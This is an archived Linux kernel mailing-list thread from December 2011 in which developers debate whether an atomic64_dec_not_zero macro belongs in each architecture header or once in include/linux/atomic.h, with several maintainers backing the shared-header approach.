Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.arm.linux.org.uk>)
        id 1RXKOY-0008Go-To; Sun, 04 Dec 2011 22:18:50 +0000
Content-Disposition: inline
In-Reply-To: <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-archive-position: 32024
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@arm.linux.org.uk
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33125 gmane.linux.kernel.cross-arch:11635 gmane.org.freifunk.batman:5773 gmane.linux.documentation:3658 gmane.linux.kernel:1224086 gmane.linux.ports.alpha:1604 gmane.linux.ports.arm.kernel:142594 gmane.linux.ports.ia64:21907 gmane.linux.ports.parisc:4057 gmane.linux.ports.ppc64.devel:78803 gmane.linux.ports.sparc:15536 gmane.linux.uml.devel:13287 gmane.linux.ports.hexagon:349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33125>

On Sun, Dec 04, 2011 at 10:49:10PM +0100, Sven Eckelmann wrote:
> On Sunday 04 December 2011 21:33:16 Russell King - ARM Linux wrote:
> [...]
> > > +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
> > 
> > I think this is rather silly - all these definitions are very similar to
> > each other.  Is there really no way to put this into include/linux/atomic.h,
> > maybe as something like:
> > 
> > #ifndef atomic64_dec_not_zero
> > #define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> > #endif
> > 
> > and avoid having to add essentially the same definition to 12 individual
> > files?
> > 
> > Architectures which want to override it can do by the following:
> > 
> > #define atomic64_dec_not_zero		atomic64_dec_not_zero
> > 
> > which won't have any effect on C nor asm code.
> 
>  * https://lkml.org/lkml/2011/5/8/15
>  * https://lkml.org/lkml/2011/5/8/16
>  * https://lkml.org/lkml/2011/5/8/321

I don't see any reason in that set of messages _not_ to do what I suggest.
Even on SMP architectures, your:

#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)

makes total sense - and with the adjustments I've suggested it means
that architectures (like x86) can still override it if have a more
optimal way to perform this operation.

Not only that, but we already do this kind of thing in
include/linux/atomic.h for the non-64 bit ops, for example:

#ifndef atomic_inc_unless_negative
static inline int atomic_inc_unless_negative(atomic_t *p)
{
        int v, v1;
        for (v = 0; v >= 0; v = v1) {
                v1 = atomic_cmpxchg(p, v, v + 1);
                if (likely(v1 == v))
                        return 1;
        }
        return 0;
}
#endif

And really, I believe it would be a good cleanup if all the standard
definitions for atomic64 ops (like atomic64_add_negative) were also
defined in include/linux/atomic.h rather than individually in every
atomic*.h header throughout the kernel source, except where an arch
wants to explicitly override it.  Yet again, virtually all architectures
define these in exactly the same way.

We have more than enough code in arch/ for any architecture to worry
about, we don't need schemes to add more when there's simple and
practical solutions to avoiding doing so if the right design were
chosen (preferably from the outset.)

So, I'm not going to offer my ack for a change which I don't believe
is the correct approach.



From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun, 04 Dec 2011 23:42:47 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <2181790.72pQvQZ7mR@sven-laptop.home.narfation.org>
References: <1323013369-29691-1-git-send-email-sven@narfation.org>
 <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>
 <20111204221850.GC14542@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============6533064302240762554=="
X-Trace: dough.gmane.org 1323038611 775 80.91.229.12 (4 Dec 2011 22:43:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 22:43:31 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
 "H. Peter Anvin" <hpa@zytor.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 Randy Dunlap <rdunlap@xenotime.net>, Paul Mackerras <paulus@samba.org>,
 Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, user-mode-linux-devel@lists.sourceforge.net,
 Richard Weinberger <richard@nod.at>, Hirokazu Takata <takata@linux-m32r.org>,
 x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
 Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergma nn <arnd@arndb.de>,
 Jeff Dike <jdike@addtoit.com>, Chris Metcalf <cmetcalf@tilera.com>,
 linux-m32r@ml.linux-m32r.org, Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
 Thomas Glei
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Sun Dec 04 23:43:19 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RXKmD-00053s-Nj
	for glppe-linuxppc-embedded-2@m.gmane.org; Sun, 04 Dec 2011 23:43:18 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 1D14B10084F
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Mon,  5 Dec 2011 09:43:12 +1100 (EST)
Original-Received: from v3-1039.vlinux.de (narfation.org [79.140.41.39])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id DC8C01007D6
 for <linuxppc-dev@lists.ozlabs.org>; Mon,  5 Dec 2011 09:42:57 +1100 (EST)
Original-Received: from sven-laptop.home.narfation.org (i59F6CF54.versanet.de
 [89.246.207.84])
 by v3-1039.vlinux.de (Postfix) with ESMTPSA id 09A3694020;
 Sun,  4 Dec 2011 23:44:36 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
 t=1323038676; bh=sG5FqdZr+D6pBJlEbI34XlgdsTaw+PQMIri88cFAKOc=;
 h=From:To:Cc:Subject:Date:Message-ID:In-Reply-To:References:
 MIME-Version:Content-Type:Content-Transfer-Encoding;
 b=rmPbymZC4QfnOgNGQtlmx7KVvD+tFAMZGNrkMfBZCL1v7zr/YSyMNmOwo8qZnW6v2
 /G4zu89xmWrfgqtSNMHcVLpr+BIOsJVpULIsoS00NuJ5vPcprqwTvboHBZs1/i8tfA
 MGU710BOT7ktFs2O/MqozGBVFHFvjWyDTE+7sShU=
User-Agent: KMail/4.6.0 (Linux/3.1.0-1-686-pae; KDE/4.6.5; i686; ; )
In-Reply-To: <20111204221850.GC14542@n2100.arm.linux.org.uk>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:47333 gmane.linux.ports.mips.general:33126 gmane.linux.ports.ia64:21908 gmane.linux.documentation:3659 gmane.linux.ports.sparc:15537 gmane.linux.ports.hexagon:350 gmane.linux.kernel.cross-arch:11636 gmane.linux.uml.devel:13288 gmane.linux.ports.arm.kernel:142595 gmane.linux.ports.parisc:4058 gmane.org.freifunk.batman:5774 gmane.linux.kernel:1224087 gmane.linux.ports.alpha:1605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/47333>


--===============6533064302240762554==
Content-Type: multipart/signed; boundary="nextPart3657609.EYmP6sRycV"; micalg="pgp-sha512"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit


--nextPart3657609.EYmP6sRycV
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

On Sunday 04 December 2011 22:18:50 Russell King - ARM Linux wrote:
> On Sun, Dec 04, 2011 at 10:49:10PM +0100, Sven Eckelmann wrote:
> > On Sunday 04 December 2011 21:33:16 Russell King - ARM Linux wrote:
> > [...]
> > 
> > > > +#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL,
> > > > 0LL)
> > > 
> > > I think this is rather silly - all these definitions are very
> > > similar to each other.  Is there really no way to put this into
> > > include/linux/atomic.h, maybe as something like:
> > > 
> > > #ifndef atomic64_dec_not_zero
> > > #define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> > > #endif
> > > 
> > > and avoid having to add essentially the same definition to 12
> > > individual files?
> > > 
> > > Architectures which want to override it can do by the following:
> > > 
> > > #define atomic64_dec_not_zero		atomic64_dec_not_zero
> > > 
> > > which won't have any effect on C nor asm code.
> >  
> >  * https://lkml.org/lkml/2011/5/8/15
> >  * https://lkml.org/lkml/2011/5/8/16
> >  * https://lkml.org/lkml/2011/5/8/321
> 
> I don't see any reason in that set of messages _not_ to do what I suggest.
> Even on SMP architectures, your:
> 
> #define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
> 
> makes total sense - and with the adjustments I've suggested it means
> that architectures (like x86) can still override it if have a more
> optimal way to perform this operation.
> 
> Not only that, but we already do this kind of thing in
> include/linux/atomic.h for the non-64 bit ops, for example:
> 
> #ifndef atomic_inc_unless_negative
> static inline int atomic_inc_unless_negative(atomic_t *p)
> {
>         int v, v1;
>         for (v = 0; v >= 0; v = v1) {
>                 v1 = atomic_cmpxchg(p, v, v + 1);
>                 if (likely(v1 == v))
>                         return 1;
>         }
>         return 0;
> }
> #endif
> 
> And really, I believe it would be a good cleanup if all the standard
> definitions for atomic64 ops (like atomic64_add_negative) were also
> defined in include/linux/atomic.h rather than individually in every
> atomic*.h header throughout the kernel source, except where an arch
> wants to explicitly override it.  Yet again, virtually all architectures
> define these in exactly the same way.
> 
> We have more than enough code in arch/ for any architecture to worry
> about, we don't need schemes to add more when there's simple and
> practical solutions to avoiding doing so if the right design were
> chosen (preferably from the outset.)
> 
> So, I'm not going to offer my ack for a change which I don't believe
> is the correct approach.

Ok, I wanted to say that I just did what is currently done and did not offer a 
redesign. There is just a difference between adding something and replacing 
everything with something else. But I am fine with not getting the ack because 
now somebody at least made a statement.

Kind regards,
	Sven
--nextPart3657609.EYmP6sRycV
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAABCgAGBQJO2/dnAAoJEF2HCgfBJntGyQ0QAIBBy0k5Ojh2hoFJjUN3q8eQ
vZBnCgn1UKsHdR+ZzytDM+uRDynaUUdu5UbSIOwJRs+r9rfjWROlRffX3YadvzO4
0jOfcA7SF2pIPmrEKAMr01f3dBtvu6EdTCLm8kZKCUGopEPXGz12MuD2Y+Eil4yD
S/ygNYFug9o3xhSZ7HJ6ms/3KFuS6yOy2lrnr8ASZ18F98/Y970YlBC3yxTDQP31
FHarn2wiNx0GcQh367skpe7Dev0dKT2+NWUQ4kQ8CinG+S9/pk9vGNnx8gByLtd/
pAx3KGF6RhUWD8OoGgZUGkSosJJM18bpgRk7ms5iScbAxX5TGs+DT47nFw6qRyn+
4pAxECzmWoLdnqNxSaFX7D2ow8OIH5eZnRJObWbkjTIGvySlCOzJdfVSZ/HdPq+w
mqvlODmgWrA5dvizMQpYxZ1JdLVoLZ/5tK2OM+r18dw0H9Qn1HMqjJ8yNYCJFlfn
UwfqdOkXi+UxOCDjZhPxjqWl1uTG54TwFQaMsyZP3YtnB9AcIr0NGAYAocl9mW0S
0lrYVt87X9HOtf8ndkDbJu4EWz+vGFIMn1SuWkpbhVKQZ96Q6/RmhTiOzj6NCTY7
sEWiX3ralejgfHqwjxze0zCkNbFFIVyePq0Y63fNq9TTf8/CNpIbCl01YBBZ315v
l+QWfR8ALrDtInryuh9G
=WCs5
-----END PGP SIGNATURE-----

--nextPart3657609.EYmP6sRycV--


--===============6533064302240762554==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Linuxppc-dev mailing list
Linuxppc-dev@lists.ozlabs.org
https://lists.ozlabs.org/listinfo/linuxppc-dev
--===============6533064302240762554==--



From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Mon, 05 Dec 2011 09:41:55 +1100
Lines: 28
Approved: news@gmane.org
Message-ID: <1323038515.11728.26.camel@pasglop>
References: <1323013369-29691-1-git-send-email-sven@narfation.org>
         <20111204213316.GB14542@n2100.arm.linux.org.uk>
         <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>
         <20111204221850.GC14542@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323038651 1060 80.91.229.12 (4 Dec 2011 22:44:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 22:44:11 +0000 (UTC)
Cc: Sven Eckelmann <sven@narfation.org>,
        linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        "H. Peter Anvin" <hpa@zytor.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Randy Dunlap <rdunlap@xenotime.net>,
        Paul Mackerras <paulus@samba.org>,
        Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        Richard Weinberger <richard@nod.at>,
        Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Arnd Bergma nn <arnd@arnd
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Dec 04 23:44:00 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXKmt-0005ET-Dv
	for sgi-linux-mips@gmane.org; Sun, 04 Dec 2011 23:43:59 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:37033 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903652Ab1LDWn6 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 4 Dec 2011 23:43:58 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 04 Dec 2011 23:43:39 +0100 (CET)
Original-Received: from gate.crashing.org ([63.228.1.57]:59030 "EHLO gate.crashing.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903649Ab1LDWnd (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sun, 4 Dec 2011 23:43:33 +0100
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
        by gate.crashing.org (8.14.1/8.13.8) with ESMTP id pB4MfwWn026726;
        Sun, 4 Dec 2011 16:41:59 -0600
In-Reply-To: <20111204221850.GC14542@n2100.arm.linux.org.uk>
X-Mailer: Evolution 3.2.1- 
X-archive-position: 32026
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: benh@kernel.crashing.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33127 gmane.linux.ports.ia64:21909 gmane.linux.documentation:3660 gmane.linux.ports.sparc:15538 gmane.linux.ports.hexagon:351 gmane.linux.kernel.cross-arch:11637 gmane.linux.uml.devel:13289 gmane.linux.ports.arm.kernel:142596 gmane.linux.ports.parisc:4059 gmane.org.freifunk.batman:5775 gmane.linux.kernel:1224088 gmane.linux.ports.alpha:1606 gmane.linux.ports.ppc64.devel:78805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33127>

On Sun, 2011-12-04 at 22:18 +0000, Russell King - ARM Linux wrote:

 .../...

> And really, I believe it would be a good cleanup if all the standard
> definitions for atomic64 ops (like atomic64_add_negative) were also
> defined in include/linux/atomic.h rather than individually in every
> atomic*.h header throughout the kernel source, except where an arch
> wants to explicitly override it.  Yet again, virtually all architectures
> define these in exactly the same way.
> 
> We have more than enough code in arch/ for any architecture to worry
> about, we don't need schemes to add more when there's simple and
> practical solutions to avoiding doing so if the right design were
> chosen (preferably from the outset.)
> 
> So, I'm not going to offer my ack for a change which I don't believe
> is the correct approach.

I agree with Russell, his approach is a lot easier to maintain long run,
we should even consider converting existing definitions.

Cheers,
Ben.





From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Sun, 04 Dec 2011 16:14:13 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <4EDC0CD5.2090601@zytor.com>
References: <1323013369-29691-1-git-send-email-sven@narfation.org>  <20111204213316.GB14542@n2100.arm.linux.org.uk>  <1699880.NTdz2k3W9O@sven-laptop.home.narfation.org>  <20111204221850.GC14542@n2100.arm.linux.org.uk> <1323038515.11728.26.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323044184 8701 80.91.229.12 (5 Dec 2011 00:16:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 00:16:24 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
        Sven Eckelmann <sven@narfation.org>,
        linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Randy Dunlap <rdunlap@xenotime.net>,
        Paul Mackerras <paulus@samba.org>,
        Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        Richard Weinberger <richard@nod.at>,
        Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Arnd Ber
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Dec 05 01:16:12 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXME8-0005o5-1Z
	for sgi-linux-mips@gmane.org; Mon, 05 Dec 2011 01:16:12 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:50419 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903835Ab1LEAQC (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 5 Dec 2011 01:16:02 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 05 Dec 2011 01:15:45 +0100 (CET)
Original-Received: from terminus.zytor.com ([198.137.202.10]:49777 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903650Ab1LEAPh (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 5 Dec 2011 01:15:37 +0100
Original-Received: from tazenda.hos.anvin.org ([IPv6:2001:470:861f::feed:face:f00d])
        (authenticated bits=0)
        by mail.zytor.com (8.14.5/8.14.5) with ESMTP id pB50EIGm007983
        (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=OK);
        Sun, 4 Dec 2011 16:14:19 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:8.0) Gecko/20111115 Thunderbird/8.0
In-Reply-To: <1323038515.11728.26.camel@pasglop>
X-archive-position: 32027
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hpa@zytor.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33128 gmane.linux.ports.ia64:21910 gmane.linux.documentation:3661 gmane.linux.ports.sparc:15539 gmane.linux.ports.hexagon:352 gmane.linux.kernel.cross-arch:11638 gmane.linux.uml.devel:13290 gmane.linux.ports.arm.kernel:142600 gmane.linux.ports.parisc:4060 gmane.org.freifunk.batman:5776 gmane.linux.kernel:1224105 gmane.linux.ports.alpha:1607 gmane.linux.ports.ppc64.devel:78815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33128>

On 12/04/2011 02:41 PM, Benjamin Herrenschmidt wrote:
> 
> I agree with Russell, his approach is a lot easier to maintain long run,
> we should even consider converting existing definitions.
> 

Thirded.

	-hpa


-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.




From - Thu Nov 08 21:07:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: Re: Re: [PATCHv5] atomic: add *_dec_not_zero
Date: Mon, 05 Dec 2011 08:57:27 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <3836467.I5Tqg6MFf9@sven-laptop.home.narfation.org>
References: <1323013369-29691-1-git-send-email-sven@narfation.org> <20111204221850.GC14542@n2100.arm.linux.org.uk> <1323038515.11728.26.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1410499.ht9VK84Yej"; micalg="pgp-sha512"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1323071899 1389 80.91.229.12 (5 Dec 2011 07:58:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2011 07:58:19 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>, linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org, linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, "H. Peter Anvin" <hpa@zytor.com>, Heiko Carstens <heiko.carstens@de.ibm.com>, Randy Dunlap <rdunlap@xenotime.net>, Paul Mackerras <paulus@samba.org>, Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org, linux-arch@vger.kernel.org, linux-s390@vger.kernel.org, user-mode-linux-devel@lists.sourceforge.net, Richard Weinberger <richard@nod.at>, Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergma nn <arnd@arndb.de>, Jeff Dike <
 jdike@addtoit.com>, Chris Metcalf <cmetcalf@tilera.com>, linux-m32r@ml.linux-m32r.org, Ivan Kokshaysky
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Dec 05 08:58:07 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RXTR8-0002CC-Lp
	for sgi-linux-mips@gmane.org; Mon, 05 Dec 2011 08:58:06 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40594 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903603Ab1LEH57 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 5 Dec 2011 08:57:59 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 05 Dec 2011 08:57:41 +0100 (CET)
Original-Received: from narfation.org ([79.140.41.39]:49631 "EHLO v3-1039.vlinux.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903605Ab1LEH5f (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 5 Dec 2011 08:57:35 +0100
Original-Received: from sven-laptop.home.narfation.org (i59F6D8E2.versanet.de [89.246.216.226])
        by v3-1039.vlinux.de (Postfix) with ESMTPSA id 89B9094013;
        Mon,  5 Dec 2011 08:59:17 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
        t=1323071957; bh=WePDqzBwJCP0hF2CSPHbcjn+dXDe7R1+UWj3jvcP9G8=;
        h=From:To:Cc:Subject:Date:Message-ID:In-Reply-To:References:
         MIME-Version:Content-Type:Content-Transfer-Encoding;
        b=YLhX+3v2w/adgdJYo1WmVJXz+V/tTXwaYeuoK1R0np6NA/cIqn0rcMrC6N2J0TwiJ
         xaLo7SM19N/C9LE8VBq9pO+FWZhy621FtR4czTVA0FSt772SkwhixuzNJzTqkPR4RS
         2sZhWGw2Dqq442a5TkoI9jRYd53Qjqf+HGJe/Y7o=
User-Agent: KMail/4.6.0 (Linux/3.1.0-1-686-pae; KDE/4.6.5; i686; ; )
In-Reply-To: <1323038515.11728.26.camel@pasglop>
X-archive-position: 32028
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sven@narfation.org
Precedence: bulk
X-list: linux-mips
